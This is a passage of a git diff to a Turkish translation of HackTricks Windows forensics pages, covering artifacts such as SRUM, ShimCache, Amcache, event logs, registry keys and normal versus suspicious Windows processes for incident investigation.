kullanarak erişebilirsiniz. - -### SRUM - -**Sistem Kaynak Kullanım İzleyici** (SRUM) **bir süreç tarafından tüketilen kaynakları** **izler**. W8'de ortaya çıkmıştır ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar. - -Aşağıdaki bilgileri sağlar: - -- AppID ve Yol -- Süreci çalıştıran kullanıcı -- Gönderilen Bayt -- Alınan Bayt -- Ağ Arayüzü -- Bağlantı süresi -- Süreç süresi - -Bu bilgiler her 60 dakikada bir güncellenir. - -Bu dosyadan tarihi [**srum_dump**](https://github.com/MarkBaggett/srum-dump) aracı kullanarak elde edebilirsiniz. -```bash -.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum -``` -### AppCompatCache (ShimCache) - -**AppCompatCache**, ayrıca **ShimCache** olarak da bilinir, **Microsoft** tarafından uygulama uyumluluğu sorunlarını ele almak için geliştirilen **Uygulama Uyumluluk Veritabanı**nın bir parçasını oluşturur. Bu sistem bileşeni, aşağıdakiler de dahil olmak üzere çeşitli dosya meta verilerini kaydeder: - -- Dosyanın tam yolu -- Dosyanın boyutu -- **$Standard_Information** (SI) altında Son Değiştirilme zamanı -- ShimCache'in Son Güncellenme zamanı -- İşlem Çalıştırma Bayrağı - -Bu tür veriler, işletim sisteminin sürümüne bağlı olarak kayıt defterinde belirli konumlarda saklanır: - -- XP için, veriler `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` altında 96 giriş kapasitesi ile saklanır. -- Server 2003 için, ayrıca Windows sürümleri 2008, 2012, 2016, 7, 8 ve 10 için, depolama yolu `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` olup, sırasıyla 512 ve 1024 giriş kapasitesine sahiptir. - -Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir. - -![](<../../../images/image (488).png>) - -### Amcache - -**Amcache.hve** dosyası, bir sistemde yürütülen uygulamalar hakkında ayrıntıları kaydeden temel bir kayıt defteri hivesidir. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur. - -Bu dosya, yürütülen süreçlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 hash'lerini saklamasıyla dikkat çeker. Bu bilgi, bir sistemdeki uygulamaların etkinliğini izlemek için değerlidir. - -**Amcache.hve** dosyasından veri çıkarmak ve analiz etmek için, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ı kullanarak **Amcache.hve** dosyasının içeriğini ayrıştırmak ve sonuçları CSV formatında çıkarmak için bir örnektir: -```bash -AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder -``` -Üretilen CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında zengin bilgiler sunar. - -Üretilen en ilginç CSV dosyası `Amcache_Unassociated file entries`dir. - -### RecentFileCache - -Bu artefakt yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` içinde bulunabilir ve bazı ikili dosyaların son çalıştırılması hakkında bilgi içerir. - -Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz. - -### Planlı görevler - -Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` içinden çıkarabilir ve XML olarak okuyabilirsiniz. - -### Hizmetler - -Bunları `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirsiniz. Ne zaman ve neyin çalıştırılacağını görebilirsiniz. - -### **Windows Store** - -Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` içinde bulunabilir. Bu depo, sistemdeki **her yüklü uygulama** ile ilgili bir **log** içerir ve bu log **`StateRepository-Machine.srd`** veritabanındadır. - -Bu veritabanının Uygulama tablosunda "Application ID", "PackageNumber" ve "Display Name" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve bazı uygulamaların kaldırılıp kaldırılmadığını bulmak mümkündür çünkü yüklü uygulamaların kimlikleri sıralı olmalıdır. - -Ayrıca, kayıt defteri yolunda yüklü uygulamaları bulmak da mümkündür: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -Ve **kaldırılmış** **uygulamaları**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` içinde bulabilirsiniz. - -## Windows Olayları - -Windows olayları içinde görünen bilgiler şunlardır: - -- Ne oldu -- Zaman damgası (UTC + 0) -- İlgili kullanıcılar -- İlgili ana bilgisayarlar (ana bilgisayar adı, IP) -- Erişilen varlıklar (dosyalar, klasör, yazıcı, hizmetler) - -Loglar, Windows Vista'dan önce `C:\Windows\System32\config` içinde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` içinde bulunmaktadır. Windows Vista'dan önce, olay logları ikili formatta, sonrasında ise **XML formatında** ve **.evtx** uzantısını kullanarak kaydedilmiştir. - -Olay dosyalarının yeri, SYSTEM kayıt defterinde **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunabilir. - -Windows Olay Görüntüleyici (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** gibi diğer araçlarla görselleştirilebilir. - -## Windows Güvenlik Olay Kaydını Anlamak - -Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasiteye ulaşıldığında, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarındaki değişiklikler ile dosya, klasör ve paylaşılan varlık erişimini içerir. - -### Kullanıcı Kimlik Doğrulaması için Ana Olay Kimlikleri: - -- **EventID 4624**: Kullanıcının başarılı bir şekilde kimlik doğruladığını gösterir. -- **EventID 4625**: Kimlik doğrulama hatasını belirtir. -- **EventIDs 4634/4647**: Kullanıcı çıkış olaylarını temsil eder. -- **EventID 4672**: Yönetici ayrıcalıklarıyla giriş yapıldığını belirtir. - -#### EventID 4634/4647 içindeki alt türler: - -- **Etkileşimli (2)**: Doğrudan kullanıcı girişi. -- **Ağ (3)**: Paylaşılan klasörlere erişim. -- **Toplu (4)**: Toplu işlemlerin yürütülmesi. -- **Hizmet (5)**: Hizmet başlatmaları. -- **Proxy (6)**: Proxy kimlik doğrulaması. -- **Kilidi Açma (7)**: Şifre ile ekranın kilidinin açılması. -- **Ağ Düz Metin (8)**: Düz metin şifre iletimi, genellikle IIS'den. -- **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgileri kullanımı. -- **Uzaktan Etkileşimli (10)**: Uzaktan masaüstü veya terminal hizmetleri girişi. -- **Önbellek Etkileşimli (11)**: Alan denetleyicisi ile iletişim olmadan önbellekli kimlik bilgileri ile giriş. -- **Önbellek Uzaktan Etkileşimli (12)**: Önbellekli kimlik bilgileri ile uzaktan giriş. -- **Önbellekli Kilidi Açma (13)**: Önbellekli kimlik bilgileri ile kilidin açılması. - -#### EventID 4625 için Durum ve Alt Durum Kodları: - -- **0xC0000064**: Kullanıcı adı mevcut değil - Bir kullanıcı adı tahsis etme saldırısını gösterebilir. -- **0xC000006A**: Doğru kullanıcı adı ama yanlış şifre - Olası şifre tahmin etme veya kaba kuvvet denemesi. -- **0xC0000234**: Kullanıcı hesabı kilitlendi - Birden fazla başarısız girişle sonuçlanan bir kaba kuvvet saldırısını takip edebilir. -- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim girişimleri. -- **0xC000006F**: İzin verilen zaman dışında oturum açma - Belirlenen giriş saatleri dışında erişim girişimlerini gösterir, yetkisiz erişim belirtisi olabilir. -- **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir yerden giriş yapma girişimi olabilir. -- **0xC0000193**: Hesap süresi dolmuş - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri. -- **0xC0000071**: Süresi dolmuş şifre - Eski şifrelerle giriş girişimleri. -- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, daha karmaşık saldırıların (pass-the-ticket gibi) göstergesi olabilir. -- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozma girişimini gösterebilir. -- **0xC0000225**: Bir sistem hatasını gösterir, güvenlik sorunu değil. -- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, örneğin bir kullanıcının bir hizmet oturumu açmaya çalışması. - -#### EventID 4616: - -- **Zaman Değişikliği**: Sistem zamanının değiştirilmesi, olayların zaman çizelgesini belirsizleştirebilir. - -#### EventID 6005 ve 6006: - -- **Sistem Başlangıcı ve Kapatılması**: EventID 6005 sistemin başlatıldığını, EventID 6006 ise kapatıldığını gösterir. - -#### EventID 1102: - -- **Log Silme**: Güvenlik loglarının temizlenmesi, genellikle yasadışı faaliyetleri örtbas etme için bir kırmızı bayraktır. - -#### USB Cihaz Takibi için Olay Kimlikleri: - -- **20001 / 20003 / 10000**: USB cihazının ilk bağlantısı. -- **10100**: USB sürücü güncellemesi. -- **EventID 112**: USB cihazının takılma zamanı. - -Bu oturum açma türlerini simüle etmek ve kimlik bilgisi dökme fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun. - -Olay detayları, durum ve alt durum kodları, özellikle Event ID 4625'te olay nedenleri hakkında daha fazla bilgi sağlar. - -### Windows Olaylarını Kurtarma - -Silinmiş Windows Olaylarını kurtarma şansını artırmak için, şüpheli bilgisayarı doğrudan fişini çekerek kapatmak önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı olarak, bu tür olayları kurtarmak için önerilir. - -### Windows Olayları Aracılığıyla Yaygın Saldırıları Tanımlama - -Yaygın siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma konusunda kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin. - -#### Kaba Kuvvet Saldırıları - -Birden fazla EventID 4625 kaydı ile tanımlanabilir, saldırı başarılı olursa ardından bir EventID 4624 kaydı gelir. - -#### Zaman Değişikliği - -EventID 4616 ile kaydedilen sistem zamanındaki değişiklikler, adli analizleri karmaşıklaştırabilir. - -#### USB Cihaz Takibi - -USB cihaz takibi için yararlı Sistem Olay Kimlikleri, ilk kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takılma zaman damgaları için DeviceSetupManager'dan EventID 112'dir. - -#### Sistem Güç Olayları - -EventID 6005 sistem başlangıcını, EventID 6006 ise kapanmayı gösterir. - -#### Log Silme - -Güvenlik EventID 1102, logların silindiğini belirtir, bu adli analiz için kritik bir olaydır. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md deleted file mode 100644 index 9893f86ae..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ /dev/null @@ -1,101 +0,0 @@ -# İlginç Windows Kayıt Defteri Anahtarları - -### İlginç Windows Kayıt Defteri Anahtarları - -{{#include ../../../banners/hacktricks-training.md}} - -### **Windows Sürümü ve Sahibi Bilgileri** - -- **`Software\Microsoft\Windows NT\CurrentVersion`** altında, Windows sürümünü, Servis Paketini, kurulum zamanını ve kayıtlı sahibin adını basit bir şekilde bulabilirsiniz. - -### **Bilgisayar Adı** - -- Ana bilgisayar adı **`System\ControlSet001\Control\ComputerName\ComputerName`** altında bulunur. - -### **Saat Dilimi Ayarı** - -- Sistem saat dilimi **`System\ControlSet001\Control\TimeZoneInformation`** içinde saklanır. - -### **Erişim Zamanı Takibi** - -- Varsayılan olarak, son erişim zamanı takibi kapalıdır (**`NtfsDisableLastAccessUpdate=1`**). Bunu etkinleştirmek için: -`fsutil behavior set disablelastaccess 0` kullanın. - -### Windows Sürümleri ve Servis Paketleri - -- **Windows sürümü**, sürümü (örneğin, Home, Pro) ve sürümünü (örneğin, Windows 10, Windows 11) belirtirken, **Servis Paketleri** düzeltmeler ve bazen yeni özellikler içeren güncellemelerdir. - -### Son Erişim Zamanını Etkinleştirme - -- Son erişim zamanı takibini etkinleştirmek, dosyaların en son ne zaman açıldığını görmenizi sağlar; bu, adli analiz veya sistem izleme için kritik olabilir. - -### Ağ Bilgileri Detayları - -- Kayıt defteri, **ağ türleri (kablosuz, kablolu, 3G)** ve **ağ kategorileri (Genel, Özel/Ev, Alan/İş)** dahil olmak üzere ağ yapılandırmaları hakkında kapsamlı veriler tutar; bu, ağ güvenlik ayarlarını ve izinlerini anlamak için hayati öneme sahiptir. - -### İstemci Tarafı Önbellekleme (CSC) - -- **CSC**, paylaşılan dosyaların kopyalarını önbelleğe alarak çevrimdışı dosya erişimini artırır. Farklı **CSCFlags** ayarları, hangi dosyaların ve nasıl önbelleğe alınacağını kontrol eder, bu da performansı ve kullanıcı deneyimini etkiler, özellikle kesintili bağlantıların olduğu ortamlarda. - -### Otomatik Başlatılan Programlar - -- Çeşitli `Run` ve `RunOnce` kayıt defteri anahtarlarında listelenen programlar, başlangıçta otomatik olarak başlatılır, bu da sistemin önyükleme süresini etkiler ve kötü amaçlı yazılım veya istenmeyen yazılımları tanımlamak için ilgi noktaları olabilir. - -### Shellbags - -- **Shellbags**, yalnızca klasör görünüm tercihlerini saklamakla kalmaz, aynı zamanda klasör artık mevcut olmasa bile klasör erişiminin adli kanıtını sağlar. Diğer yollarla belirgin olmayan kullanıcı etkinliğini ortaya çıkardığı için soruşturmalar için değerlidir. - -### USB Bilgileri ve Adli Analiz - -- Kayıt defterinde saklanan USB cihazlarıyla ilgili detaylar, bir bilgisayara hangi cihazların bağlandığını izlemeye yardımcı olabilir ve potansiyel olarak bir cihazı hassas dosya transferleri veya yetkisiz erişim olaylarıyla ilişkilendirebilir. - -### Hacim Seri Numarası - -- **Hacim Seri Numarası**, dosya sisteminin belirli bir örneğini izlemek için kritik olabilir; bu, dosya kökeninin farklı cihazlar arasında belirlenmesi gereken adli senaryolar için yararlıdır. - -### **Kapatma Detayları** - -- Kapatma zamanı ve sayısı (ikincisi yalnızca XP için) **`System\ControlSet001\Control\Windows`** ve **`System\ControlSet001\Control\Watchdog\Display`** içinde saklanır. - -### **Ağ Yapılandırması** - -- Ayrıntılı ağ arayüzü bilgileri için **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**'e bakın. -- İlk ve son ağ bağlantı zamanları, VPN bağlantıları dahil olmak üzere, **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** altında çeşitli yollarla kaydedilir. - -### **Paylaşılan Klasörler** - -- Paylaşılan klasörler ve ayarlar **`System\ControlSet001\Services\lanmanserver\Shares`** altında bulunur. İstemci Tarafı Önbellekleme (CSC) ayarları çevrimdışı dosya erişilebilirliğini belirler. - -### **Otomatik Başlatılan Programlar** - -- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** gibi yollar ve `Software\Microsoft\Windows\CurrentVersion` altında benzer girişler, başlangıçta çalışacak şekilde ayarlanmış programları detaylandırır. - -### **Aramalar ve Yazılan Yollar** - -- Gezginde yapılan aramalar ve yazılan yollar, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** altında WordwheelQuery ve TypedPaths için sırasıyla izlenir. - -### **Son Belgeler ve Ofis Dosyaları** - -- Erişilen son belgeler ve Ofis dosyaları, `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` ve belirli Ofis sürüm yollarında not edilir. - -### **En Son Kullanılan (MRU) Öğeler** - -- Son dosya yolları ve komutları gösteren MRU listeleri, `NTUSER.DAT` altında çeşitli `ComDlg32` ve `Explorer` alt anahtarlarında saklanır. - -### **Kullanıcı Etkinliği Takibi** - -- Kullanıcı Yardımcı özelliği, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`** altında çalıştırma sayısı ve son çalıştırma zamanı dahil olmak üzere ayrıntılı uygulama kullanım istatistiklerini kaydeder. - -### **Shellbags Analizi** - -- Klasör erişim detaylarını ortaya çıkaran Shellbags, `USRCLASS.DAT` ve `NTUSER.DAT` altında `Software\Microsoft\Windows\Shell` içinde saklanır. Analiz için **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** kullanın. - -### **USB Cihaz Geçmişi** - -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** ve **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bağlı USB cihazları hakkında zengin detaylar içerir; bunlar arasında üretici, ürün adı ve bağlantı zaman damgaları bulunur. -- Belirli bir USB cihazıyla ilişkili kullanıcı, cihazın **{GUID}**'sini arayarak `NTUSER.DAT` hives'inde tespit edilebilir. -- Son takılı cihaz ve hacim seri numarası, sırasıyla `System\MountedDevices` ve `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` üzerinden izlenebilir. - -Bu kılavuz, Windows sistemlerinde ayrıntılı sistem, ağ ve kullanıcı etkinliği bilgilerine erişim için kritik yolları ve yöntemleri özetlemektedir; açıklık ve kullanılabilirlik hedeflenmiştir. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md deleted file mode 100644 index 3b84bbe76..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ /dev/null @@ -1,106 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -## smss.exe - -**Oturum Yöneticisi**.\ -Oturum 0, **csrss.exe** ve **wininit.exe** (**OS** **hizmetleri**) başlatırken, Oturum 1 **csrss.exe** ve **winlogon.exe** (**Kullanıcı** **oturumu**) başlatır. Ancak, süreçler ağacında **çocukları olmayan** bu **ikili** dosyadan **yalnızca bir süreç** görmelisiniz. - -Ayrıca, 0 ve 1 dışındaki oturumlar RDP oturumlarının gerçekleştiğini gösterebilir. - -## csrss.exe - -**İstemci/Sunucu Çalışma Alt Sistemi Süreci**.\ -**Süreçleri** ve **iş parçacıklarını** yönetir, diğer süreçler için **Windows** **API**'sini kullanılabilir hale getirir ve ayrıca **sürücü harflerini** eşler, **geçici dosyalar** oluşturur ve **kapatma** **sürecini** yönetir. - -Oturum 0'da bir tane ve Oturum 1'de bir tane **çalışıyor** (yani süreçler ağacında **2 süreç**). Her yeni oturum için bir tane daha oluşturulur. - -## winlogon.exe - -**Windows Oturum Açma Süreci**.\ -Kullanıcı **oturum açma**/**oturum kapama** işlemlerinden sorumludur. Kullanıcı adı ve şifre sormak için **logonui.exe**'yi başlatır ve ardından bunları doğrulamak için **lsass.exe**'yi çağırır. - -Sonra, **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`**'da **Userinit** anahtarı ile belirtilen **userinit.exe**'yi başlatır. - -Ayrıca, önceki kayıt defterinde **explorer.exe** **Shell anahtarı** içinde olmalıdır veya **kötü amaçlı yazılım kalıcılık yöntemi** olarak kötüye kullanılabilir. - -## wininit.exe - -**Windows Başlatma Süreci**. \ -Oturum 0'da **services.exe**, **lsass.exe** ve **lsm.exe**'yi başlatır. Yalnızca 1 süreç olmalıdır. - -## userinit.exe - -**Userinit Oturum Açma Uygulaması**.\ -**HKCU**'da **ntduser.dat**'ı yükler ve **kullanıcı** **ortamını** başlatır, **oturum açma** **betiklerini** ve **GPO**'yu çalıştırır. - -**explorer.exe**'yi başlatır. - -## lsm.exe - -**Yerel Oturum Yöneticisi**.\ -Kullanıcı oturumlarını manipüle etmek için smss.exe ile çalışır: Oturum açma/kapama, kabuk başlatma, masaüstünü kilitleme/açma vb. - -W7'den sonra lsm.exe bir hizmete (lsm.dll) dönüştürüldü. - -W7'de yalnızca 1 süreç olmalıdır ve bunlardan bir hizmet DLL'yi çalıştırmalıdır. - -## services.exe - -**Hizmet Kontrol Yöneticisi**.\ -**Otomatik başlat** olarak yapılandırılan **hizmetleri** ve **sürücüleri** **yükler**. - -**svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** ve daha birçok sürecin ebeveynidir. - -Hizmetler `HKLM\SYSTEM\CurrentControlSet\Services`'de tanımlanır ve bu süreç, sc.exe tarafından sorgulanabilen hizmet bilgilerini bellekte tutan bir veritabanı yönetir. - -**Bazı** **hizmetlerin** **kendi süreçlerinde** çalışacağını ve diğerlerinin **bir svchost.exe sürecini paylaşacağını** not edin. - -Yalnızca 1 süreç olmalıdır. - -## lsass.exe - -**Yerel Güvenlik Otoritesi Alt Sistemi**.\ -Kullanıcı **kimlik doğrulaması** için sorumludur ve **güvenlik** **jetonları** oluşturur. `HKLM\System\CurrentControlSet\Control\Lsa`'da bulunan kimlik doğrulama paketlerini kullanır. - -**Güvenlik** **olay** **günlüğüne** yazar ve yalnızca 1 süreç olmalıdır. - -Bu sürecin şifreleri dökmek için yüksek oranda saldırıya uğradığını unutmayın. - -## svchost.exe - -**Genel Hizmet Ana Bilgisayar Süreci**.\ -Birden fazla DLL hizmetini tek bir paylaşılan süreçte barındırır. - -Genellikle, **svchost.exe** `-k` bayrağı ile başlatılır. Bu, kayıt defterine **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** bir sorgu başlatır; burada -k'da belirtilen argümanla bir anahtar bulunur ve bu anahtar aynı süreçte başlatılacak hizmetleri içerir. - -Örneğin: `-k UnistackSvcGroup` şunları başlatır: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` - -Eğer **`-s` bayrağı** da bir argüman ile kullanılıyorsa, o zaman svchost'tan **yalnızca belirtilen hizmeti** bu argümanda başlatması istenir. - -Birçok `svchost.exe` süreci olacaktır. Eğer bunlardan herhangi biri **`-k` bayrağını** kullanmıyorsa, bu çok şüphelidir. Eğer **services.exe ebeveyn değilse**, bu da çok şüphelidir. - -## taskhost.exe - -Bu süreç, DLL'lerden çalışan süreçler için bir ana bilgisayar görevi görür. Ayrıca DLL'lerden çalışan hizmetleri yükler. - -W8'de bu taskhostex.exe olarak adlandırılır ve W10'da taskhostw.exe olarak adlandırılır. - -## explorer.exe - -Bu, **kullanıcının masaüstünden** ve dosyaları dosya uzantıları aracılığıyla başlatmaktan sorumlu olan süreçtir. - -**Her oturum açan kullanıcı için yalnızca 1** süreç oluşturulmalıdır. - -Bu, **userinit.exe**'den çalıştırılır ve sonlandırılmalıdır, böylece bu süreç için **ebeveyn** görünmemelidir. - -# Kötü Amaçlı Süreçleri Yakalamak - -- Beklenen yoldan mı çalışıyor? (Windows ikili dosyaları geçici konumdan çalışmaz) -- Garip IP'lerle mi iletişim kuruyor? -- Dijital imzaları kontrol edin (Microsoft belgeleri imzalanmış olmalıdır) -- Doğru yazılmış mı? -- Beklenen SID altında mı çalışıyor? -- Ebeveyn süreç beklenen mi (varsa)? -- Çocuk süreçler beklenenler mi? (cmd.exe, wscript.exe, powershell.exe..?) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index 88c3d6846..e774c8157 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,32 +1,30 @@ # Windows Artifacts -## Windows Artifacts - {{#include ../../../banners/hacktricks-training.md}} -## Genel Windows Artifaktları +## Generic Windows Artifacts -### Windows 10 Bildirimleri +### Windows 10 Notifications Yolda `\Users\\AppData\Local\Microsoft\Windows\Notifications` veritabanı `appdb.dat` (Windows yıldönümünden önce) veya `wpndatabase.db` (Windows Yıldönümünden sonra) bulunabilir. Bu SQLite veritabanının içinde, ilginç veriler içerebilecek tüm bildirimlerin (XML formatında) bulunduğu `Notification` tablosunu bulabilirsiniz. -### Zaman Çizelgesi +### Timeline -Zaman çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve çalıştırılan uygulamaların **kronolojik geçmişini** sağlayan bir Windows özelliğidir. +Timeline, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve çalıştırılan uygulamaların **kronolojik geçmişini** sağlayan bir Windows özelliğidir. -Veritabanı, `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve bu araç 2 dosya oluşturur, bu dosyalar** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir. +Veritabanı, yolda `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve bu araç 2 dosya oluşturur** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir. -### ADS (Alternatif Veri Akışları) +### ADS (Alternate Data Streams) İndirilen dosyalar, intranet, internet vb. üzerinden **nasıl** **indirildiğini** gösteren **ADS Zone.Identifier** içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın indirildiği **URL** gibi **daha fazla** **bilgi** de ekler. -## **Dosya Yedekleri** +## **File Backups** -### Geri Dönüşüm Kutusu +### Recycle Bin -Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde **`$Recycle.bin`** klasöründe bulunabilir (`C:\$Recycle.bin`).\ +Vista/Win7/Win8/Win10'da **Recycle Bin** kök dizinde **`$Recycle.bin`** klasöründe bulunabilir (`C:\$Recycle.bin`).\ Bu klasörde bir dosya silindiğinde 2 özel dosya oluşturulur: - `$I{id}`: Dosya bilgileri (silindiği tarih) @@ -42,13 +40,13 @@ Bu dosyalara sahip olduğunuzda, silinen dosyaların orijinal adresini ve silind ### Hacim Gölgesi Kopyaları -Gölge Kopyası, Microsoft Windows'ta yer alan ve bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen bir teknolojidir; bu işlemi dosyalar kullanılırken bile gerçekleştirebilir. +Gölge Kopyası, Microsoft Windows'a dahil olan ve bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen bir teknolojidir; bu, dosyalar kullanılırken bile mümkündür. -Bu yedekler genellikle dosya sisteminin kökünden `\System Volume Information` içinde bulunur ve adı aşağıdaki resimde gösterilen **UID'lerden** oluşur: +Bu yedekler genellikle dosya sisteminin kökünden `\System Volume Information` içinde bulunur ve isimleri aşağıdaki resimde gösterilen **UID'lerden** oluşur: ![](<../../../images/image (94).png>) -**ArsenalImageMounter** ile adli görüntüyü monte ederek, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) aracı, bir gölge kopyasını incelemek ve hatta gölge kopyası yedeklerinden **dosyaları çıkarmak** için kullanılabilir. +**ArsenalImageMounter** ile adli görüntüyü monte ederek, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) aracı bir gölge kopyasını incelemek ve hatta gölge kopyası yedeklerinden **dosyaları çıkarmak** için kullanılabilir. ![](<../../../images/image (576).png>) @@ -58,7 +56,7 @@ Kayıt defteri girişi `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Back Kayıt defteri `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` ayrıca `Hacim Gölgesi Kopyaları` hakkında yapılandırma bilgilerini içerir. -### Ofis Otomatik Kaydedilen Dosyalar +### Ofis Otomatik Kaydedilen Dosyaları Ofis otomatik kaydedilen dosyalarını şurada bulabilirsiniz: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` @@ -75,11 +73,11 @@ Windows, kullanıcı bir dosyayı **açtığında, kullandığında veya oluştu Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı da oluşturulur. -Bu otomatik olarak oluşturulan bağlantı dosyaları, **bir dosya** **mi** yoksa **bir klasör** **mü** olduğu gibi, dosyanın **MAC** **zamanları**, dosyanın saklandığı yerin **hacim bilgileri** ve **hedef dosyanın klasörü** gibi **kaynağa dair bilgileri** **içerir**. Bu bilgiler, dosyalar silinirse kurtarmak için faydalı olabilir. +Bu otomatik olarak oluşturulan bağlantı dosyaları, **bir dosya** **veya** **bir klasör** olup olmadığı, o dosyanın **MAC** **zamanları**, dosyanın saklandığı yerin **hacim bilgisi** ve **hedef dosyanın klasörü** gibi **kaynak hakkında bilgi** **içerir**. Bu bilgi, dosyalar silinirse kurtarmak için yararlı olabilir. -Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı** **zamandır** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın kullanıldığı **son** **zamandır**. +Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, 